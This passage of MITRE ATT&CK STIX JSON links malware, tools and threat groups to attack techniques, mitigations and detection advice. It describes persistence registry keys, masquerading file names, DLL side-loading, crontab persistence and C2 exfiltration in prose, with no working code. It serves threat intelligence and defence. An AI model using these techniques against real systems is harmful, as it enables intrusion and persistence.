"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye Clandestine Wolf", "description": "Eng, E., Caselden, D.. (2015, June 23). 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When Pentest Tools Go Brutal: Red-Teaming Tool Being Abused by Malicious Actors. Retrieved February 1, 2023.", "url": "https://unit42.paloaltonetworks.com/brute-ratel-c4-tool/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-02-09T19:00:00.555Z", "description": "[Brute Ratel C4](https://attack.mitre.org/software/S1063) has used a payload file named OneDrive.update to appear benign.(Citation: Palo Alto Brute Ratel July 2022)", "relationship_type": "uses", "source_ref": "tool--75d8b521-6b6a-42ff-8af3-d97e20ce12a5", "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--67e6b603-a45d-4cbc-9b3e-546392934f7f", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "ESET Turla Mosquito Jan 2018", "description": "ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.", "url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-26T19:21:13.970Z", "description": "[Mosquito](https://attack.mitre.org/software/S0256) can modify Registry keys under <code>HKCU\\Software\\Microsoft\\[dllname]</code> to store configuration values. [Mosquito](https://attack.mitre.org/software/S0256) also modifies Registry keys under <code>HKCR\\CLSID\\...\\InprocServer32</code> with a path to the launcher.(Citation: ESET Turla Mosquito Jan 2018)", "relationship_type": "uses", "source_ref": "malware--92b55426-109f-4d93-899f-1833ce91ff90", "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--67edd4b3-09f8-47c7-aaf1-6440524c78d4", "type": "relationship", "created": "2020-03-13T20:33:00.313Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://blog.stealthbits.com/attack-step-3-persistence-ntfs-extended-attributes-file-system-attacks", "description": "Sander, J. (2017, October 12). Attack Step 3: Persistence with NTFS Extended Attributes \u2013 File System Attacks. Retrieved March 21, 2018.", "source_name": "InsiderThreat NTFS EA Oct 2017"}], "modified": "2020-03-29T22:46:56.542Z", "description": "Consider adjusting read and write permissions for NTFS EA, though this should be tested to ensure routine OS operations are not impeded. (Citation: InsiderThreat NTFS EA Oct 2017)", "relationship_type": "mitigates", "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", "target_ref": "attack-pattern--f2857333-11d4-45bf-b064-2c28d8525be5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--67f029d5-c44b-446b-9efe-0e0e0d85192a", "type": "relationship", "created": "2021-02-03T18:34:46.363Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "DOJ Iran Indictments March 2018", "url": "https://www.justice.gov/usao-sdny/press-release/file/1045781/download", "description": "DOJ. (2018, March 23). U.S. v. Rafatnejad et al . Retrieved February 3, 2021."}], "modified": "2021-02-03T18:34:46.363Z", "description": "[Silent Librarian](https://attack.mitre.org/groups/G0122) has set up auto forwarding rules on compromised e-mail accounts.(Citation: DOJ Iran Indictments March 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--90784c1e-4aba-40eb-9adf-7556235e6384", "target_ref": "attack-pattern--7d77a07d-02fe-4e88-8bd9-e9c008c01bf0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--67f19627-27a5-4898-bab5-7b235aa4ad77", "type": "relationship", "created": "2017-05-31T21:33:27.060Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "http://www.secureworks.com/resources/blog/where-you-at-indicators-of-lateral-movement-using-at-exe-on-windows-7-systems/", "description": "Carvey, H.. (2014, September 2). Where you AT?: Indicators of lateral movement using at.exe on Windows 7 systems. Retrieved January 25, 2016.", "source_name": "Dell Lateral Movement"}], "modified": "2020-03-06T19:56:49.105Z", "description": "[APT18](https://attack.mitre.org/groups/G0026) actors used the native [at](https://attack.mitre.org/software/S0110) Windows task scheduler tool to use scheduled tasks for execution on a victim network.(Citation: Dell Lateral Movement)", "relationship_type": "uses", "source_ref": "intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648", "target_ref": "attack-pattern--f3d95a1f-bba2-44ce-9af7-37866cd63fd0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--67f1d68d-fe0f-4e65-8b2a-f614fda68e3c", "type": "relationship", "created": "2019-01-30T19:50:46.595Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Grunzweig, J., Lee, B. (2018, September 27). New KONNI Malware attacking Eurasia and Southeast Asia. Retrieved November 5, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/", "source_name": "Unit 42 NOKKI Sept 2018"}], "modified": "2020-03-18T15:22:32.935Z", "description": "[NOKKI](https://attack.mitre.org/software/S0353) is written to %LOCALAPPDATA%\\MicroSoft Updatea\\svServiceUpdate.exe prior being executed in a new process in an apparent attempt to masquerade as a legitimate folder and file.(Citation: Unit 42 NOKKI Sept 2018)", "relationship_type": "uses", "source_ref": "malware--071d5d65-83ec-4a55-acfa-be7d5f28ba9a", "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--67f2ca97-5949-4503-a55c-1f0d3f3502ca", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye APT35 2018", "description": "Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018.", "url": "https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf"}], "modified": "2019-09-09T19:21:42.573Z", "description": "(Citation: FireEye APT35 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--67f336eb-31e7-4904-9ed4-07ca68cd3838", "type": "relationship", "created": "2022-02-08T16:42:30.400Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CrowdStrike StellarParticle January 2022", "url": "https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/", "description": "CrowdStrike. (2022, January 27). Early Bird Catches the Wormhole: Observations from the StellarParticle Campaign. Retrieved February 7, 2022."}], "modified": "2022-02-08T16:42:30.400Z", "description": "The [GoldMax](https://attack.mitre.org/software/S0588) Linux variant has used a crontab entry with a <code>@reboot</code> line to gain persistence.(Citation: CrowdStrike StellarParticle January 2022)", "relationship_type": "uses", "source_ref": "malware--5c747acd-47f0-4c5a-b9e5-213541fc01e0", "target_ref": "attack-pattern--2acf44aa-542f-4366-b4eb-55ef5747759c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--67f3f607-8c27-4a90-b1bf-e84f75815a42", "type": "relationship", "created": "2021-11-19T18:46:54.113Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trend Micro DRBControl February 2020", "url": "https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf", "description": "Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021."}], "modified": "2021-11-19T18:46:54.113Z", "description": "[Clambling](https://attack.mitre.org/software/S0660) has been delivered to victim's machines through malicious e-mail attachments.(Citation: Trend Micro DRBControl February 2020)", "relationship_type": "uses", "source_ref": "malware--6e95feb1-78ee-48d3-b421-4d76663b5c49", "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--67f7ebd0-effb-4169-a184-7d45c614a6ee", "type": "relationship", "created": "2021-01-27T21:26:53.151Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET EvilNum July 2020", "url": "https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/", "description": "Porolli, M. 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Retrieved January 22, 2021."}], "modified": "2021-01-27T21:26:53.151Z", "description": "[Evilnum](https://attack.mitre.org/groups/G0120) has used the malware variant, TerraTV, to load a malicious DLL placed in the TeamViewer directory, instead of the original Windows DLL located in a system folder.(Citation: ESET EvilNum July 2020) ", "relationship_type": "uses", "source_ref": "intrusion-set--1f0f9a14-11aa-49aa-9174-bcd0eaa979de", "target_ref": "attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--67f82f6c-18f1-4f1e-8352-b7ecf8839ea2", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Palo Alto Reaver Nov 2017", "description": "Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.", "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/"}], "modified": "2020-03-17T02:22:51.845Z", "description": "Some [Reaver](https://attack.mitre.org/software/S0172) variants use raw TCP for C2.(Citation: Palo Alto Reaver Nov 2017)", "relationship_type": "uses", "source_ref": "malware--65341f30-bec6-4b1d-8abf-1a5620446c29", "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--67ffaecc-e47d-47a1-93fd-82d21018ad8b", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye APT37 Feb 2018", "description": "FireEye. (2018, February 20). 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(2008, April 29). Trusted Platform Module (TPM) Summary. Retrieved June 8, 2016.", "source_name": "TCG Trusted Platform Module"}, {"url": "https://docs.microsoft.com/en-us/windows/security/information-protection/secure-the-windows-10-boot-process", "description": "Microsoft. (n.d.). Secure the Windows 10 boot process. Retrieved April 23, 2020.", "source_name": "TechNet Secure Boot Process"}], "modified": "2020-04-23T19:10:28.416Z", "description": "Use Trusted Platform Module technology and a secure or trusted boot process to prevent system integrity from being compromised. Check the integrity of the existing BIOS or EFI to determine if it is vulnerable to modification. (Citation: TCG Trusted Platform Module) (Citation: TechNet Secure Boot Process)", "relationship_type": "mitigates", "source_ref": "course-of-action--7da0387c-ba92-4553-b291-b636ee42b2eb", "target_ref": "attack-pattern--39131305-9282-45e4-ac3b-591d2d4fc3ef", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--68017126-a4fe-4c2d-926d-fbc51ea8573c", "type": "relationship", "created": "2019-06-28T16:02:08.203Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019.", "url": "https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf", "source_name": "ESET LightNeuron May 2019"}], "modified": "2020-03-18T00:52:56.903Z", "description": "[LightNeuron](https://attack.mitre.org/software/S0395) has used filenames associated with Exchange and Outlook for binary and configuration files, such as <code>winmail.dat</code>.(Citation: ESET LightNeuron May 2019)", "relationship_type": "uses", "source_ref": "malware--6ba1d7ae-d60b-43e6-9f08-a8b787e9d9cb", "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--68019421-95db-4416-879d-bb68c063dd78", "created": "2023-07-31T19:29:07.472Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Microsoft Volt Typhoon May 2023", "description": "Microsoft Threat Intelligence. (2023, May 24). Volt Typhoon targets US critical infrastructure with living-off-the-land techniques. Retrieved July 27, 2023.", "url": "https://www.microsoft.com/en-us/security/blog/2023/05/24/volt-typhoon-targets-us-critical-infrastructure-with-living-off-the-land-techniques/"}, {"source_name": "Joint Cybersecurity Advisory Volt Typhoon June 2023", "description": "NSA et al. (2023, May 24). People's Republic of China State-Sponsored Cyber Actor Living off the Land to Evade Detection. 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(2019, August 1). Clop Ransomware. Retrieved May 10, 2021."}, {"source_name": "Cybereason Clop Dec 2020", "url": "https://www.cybereason.com/blog/cybereason-vs.-clop-ransomware", "description": "Cybereason Nocturnus. (2020, December 23). Cybereason vs. Clop Ransomware. Retrieved May 11, 2021."}], "modified": "2021-10-14T20:22:46.768Z", "description": "[Clop](https://attack.mitre.org/software/S0611) has been packed to help avoid detection.(Citation: Mcafee Clop Aug 2019)(Citation: Cybereason Clop Dec 2020)", "relationship_type": "uses", "source_ref": "malware--cad3ba95-8c89-4146-ab10-08daa813f9de", "target_ref": "attack-pattern--deb98323-e13f-4b0c-8d94-175379069062", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6808a607-0c81-433b-a027-2f1a8fe163c9", "type": "relationship", "created": "2019-07-16T21:24:16.586Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-03-23T17:04:18.810Z", "description": "Protect domain controllers by ensuring proper security configuration for critical servers.", "relationship_type": "mitigates", "source_ref": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3", "target_ref": "attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6809f70c-63a2-415d-8c64-66784fd80caf", "type": "relationship", "created": "2020-08-03T19:28:18.110Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Pascual, C. (2018, November 27). AutoIt-Compiled Worm Affecting Removable Media Delivers Fileless Version of BLADABINDI/njRAT Backdoor. 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(2021, December 14). DarkWatchman: A new evolution in fileless techniques. Retrieved January 10, 2022."}], "modified": "2022-01-11T16:03:19.579Z", "description": "[DarkWatchman](https://attack.mitre.org/software/S0673) has the ability to enumerate file and folder names.(Citation: Prevailion DarkWatchman 2021)", "relationship_type": "uses", "source_ref": "malware--63686509-069b-4143-99ea-4e59cad6cb2a", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6813e94f-a123-4898-80c8-59e74c390fe3", "type": "relationship", "created": "2021-10-13T15:21:03.218Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "MSTIC Nobelium Toolset May 2021", "url": "https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/", "description": "MSTIC. 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Retrieved August 4, 2021."}], "modified": "2021-10-13T15:21:03.218Z", "description": "[EnvyScout](https://attack.mitre.org/software/S0634) has been distributed via spearphishing as an email attachment.(Citation: MSTIC Nobelium Toolset May 2021)", "relationship_type": "uses", "source_ref": "malware--2f8229dc-da94-41c6-89ba-b5b6c32f6b7d", "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--68146568-bc1f-49b6-9477-c6c06b0fa39c", "created": "2022-04-20T05:18:46.761Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "piazza launch agent mitigation", "url": "https://antman1p-30185.medium.com/defeating-malicious-launch-persistence-156e2b40fc67", "description": "Antonio Piazza (4n7m4n). (2021, November 23). Defeating Malicious Launch Persistence. Retrieved April 19, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "Set group policies to restrict file permissions to the <code>~/launchagents</code> folder.(Citation: piazza launch agent mitigation)", "modified": "2022-04-20T05:22:43.028Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "mitigates", "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", "target_ref": "attack-pattern--d10cbd34-42e3-45c0-84d2-535a09849584", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--681857ae-6461-4070-a2b8-1fb53972ab38", "created": "2022-06-24T15:49:13.533Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Kaspersky Lyceum October 2021", "url": "https://vblocalhost.com/uploads/VB2021-Kayal-etal.pdf", "description": "Kayal, A. et al. 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Retrieved June 14, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Kevin](https://attack.mitre.org/software/S1020) can exfiltrate data to the C2 server in 27-character chunks.(Citation: Kaspersky Lyceum October 2021)", "modified": "2022-06-24T15:49:13.533Z", "relationship_type": "uses", "source_ref": "malware--e7863f5d-cb6a-4f81-8804-0a635eec160a", "target_ref": "attack-pattern--c3888c54-775d-4b2f-b759-75a2ececcbfd", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--681ea412-54a2-4580-960f-98e1219fff1f", "type": "relationship", "created": "2020-03-13T11:12:18.716Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Executable Installers are Vulnerable", "url": "https://seclists.org/fulldisclosure/2015/Dec/34", "description": "Stefan Kanthak. (2015, December 8). Executable installers are vulnerable^WEVIL (case 7): 7z*.exe allows remote code execution with escalation of privilege. Retrieved December 4, 2014."}], "modified": "2020-03-26T19:20:23.179Z", "description": "Turn off UAC's privilege elevation for standard users <code>[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System]</code> to automatically deny elevation requests, add: <code>\"ConsentPromptBehaviorUser\"=dword:00000000</code>. Consider enabling installer detection for all users by adding: <code>\"EnableInstallerDetection\"=dword:00000001</code>. This will prompt for a password for installation and also log the attempt. To disable installer detection, instead add: <code>\"EnableInstallerDetection\"=dword:00000000</code>. This may prevent potential elevation of privileges through exploitation during the process of UAC detecting the installer, but will allow the installation process to continue without being logged.  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(2022, March 17). Cyclops Blink Sets Sights on Asus Routers. Retrieved March 17, 2022.", "url": "https://www.trendmicro.com/en_us/research/22/c/cyclops-blink-sets-sights-on-asus-routers--.html"}, {"source_name": "NCSC Cyclops Blink February 2022", "description": "NCSC. (2022, February 23). Cyclops Blink Malware Analysis Report. Retrieved March 3, 2022.", "url": "https://www.ncsc.gov.uk/files/Cyclops-Blink-Malware-Analysis-Report.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-07T14:31:52.370Z", "description": "[Cyclops Blink](https://attack.mitre.org/software/S0687) can modify the Linux iptables firewall to enable C2 communication on network devices via a stored list of port numbers.(Citation: NCSC Cyclops Blink February 2022)(Citation: Trend Micro Cyclops Blink March 2022)", "relationship_type": "uses", "source_ref": "malware--b350b47f-88fe-4921-8538-6d9c59bac84e", "target_ref": "attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--68672a56-6b53-4fdd-a574-5a24bec1a330", "type": "relationship", "created": "2022-03-30T14:26:51.874Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.874Z", "description": "Monitor for changes to <code>/etc/profile</code> and <code>/etc/profile.d</code>, these files should only be modified by system administrators. MacOS users can leverage Endpoint Security Framework file events monitoring these specific files.(Citation: ESF_filemonitor)", "source_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", "target_ref": "attack-pattern--b63a34e8-0a61-4c97-a23b-bf8a2ed812e2", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESF_filemonitor", "description": "Patrick Wardle. (2019, September 17). Writing a File Monitor with Apple's Endpoint Security Framework. Retrieved December 17, 2020.", "url": "https://objective-see.com/blog/blog_0x48.html"}]}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--686d4ed4-4199-4517-b06f-0adad5ca4ae5", "type": "relationship", "created": "2022-03-30T14:26:51.851Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.851Z", "description": "Monitor Registry values associated with IFEOs, as well as silent process exit monitoring, for modifications that do not correlate with known software, patch cycles, etc.", "source_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", "target_ref": "attack-pattern--6d4a7fb3-5a24-42be-ae61-6728a2b581f6", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--686d91dc-692b-48a0-829b-2556c6415f59", "type": "relationship", "created": "2020-12-06T23:49:08.052Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Crutch December 2020", "url": "https://www.welivesecurity.com/2020/12/02/turla-crutch-keeping-back-door-open/", "description": "Faou, M. (2020, December 2). Turla Crutch: Keeping the \u201cback door\u201d open. Retrieved December 4, 2020."}, {"source_name": "Talos TinyTurla September 2021", "url": "https://blog.talosintelligence.com/2021/09/tinyturla.html", "description": "Cisco Talos. (2021, September 21). TinyTurla - Turla deploys new malware to keep a secret backdoor on victim machines. Retrieved December 2, 2021."}], "modified": "2021-12-02T15:45:11.521Z", "description": "(Citation: ESET Crutch December 2020)(Citation: Talos TinyTurla September 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", "target_ref": "malware--925a6c52-5cf0-4fec-99de-b0d6917d8593", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6874b50a-10e8-4036-bb2d-aabab35ec75b", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.arbornetworks.com/blog/asert/musical-chairs-playing-tetris/", "description": "Sabo, S. (2018, February 15). Musical Chairs Playing Tetris. Retrieved February 19, 2018.", "source_name": "Arbor Musical Chairs Feb 2018"}], "modified": "2019-04-16T20:26:40.871Z", "description": "A [gh0st RAT](https://attack.mitre.org/software/S0032) variant has used DLL side-loading.(Citation: Arbor Musical Chairs Feb 2018)", "relationship_type": "uses", "source_ref": "malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24", "target_ref": "attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--687a617d-c428-4853-b707-6f4b2f298112", "type": "relationship", "created": "2022-03-30T14:26:51.875Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.875Z", "description": "Anti-virus can potentially detect malicious documents and files that are downloaded and executed on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning powershell.exe).", "source_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6881db09-7aba-4b60-8921-c9030a739cdf", "type": "relationship", "created": "2022-03-30T14:26:51.861Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.861Z", "description": "Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Also, monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as \"findstr,\" \"net,\" and \"python\"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious.", "source_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", "target_ref": "attack-pattern--bf96a5a3-3bce-43b7-8597-88545984c07b", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--68852bf2-c3cf-4d59-b1c1-f6af8fb61be6", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye Hacking Team", "description": "FireEye Threat Intelligence. (2015, July 13). Demonstrating Hustle, Chinese APT Groups Quickly Use Zero-Day Vulnerability (CVE-2015-5119) Following Hacking Team Leak. 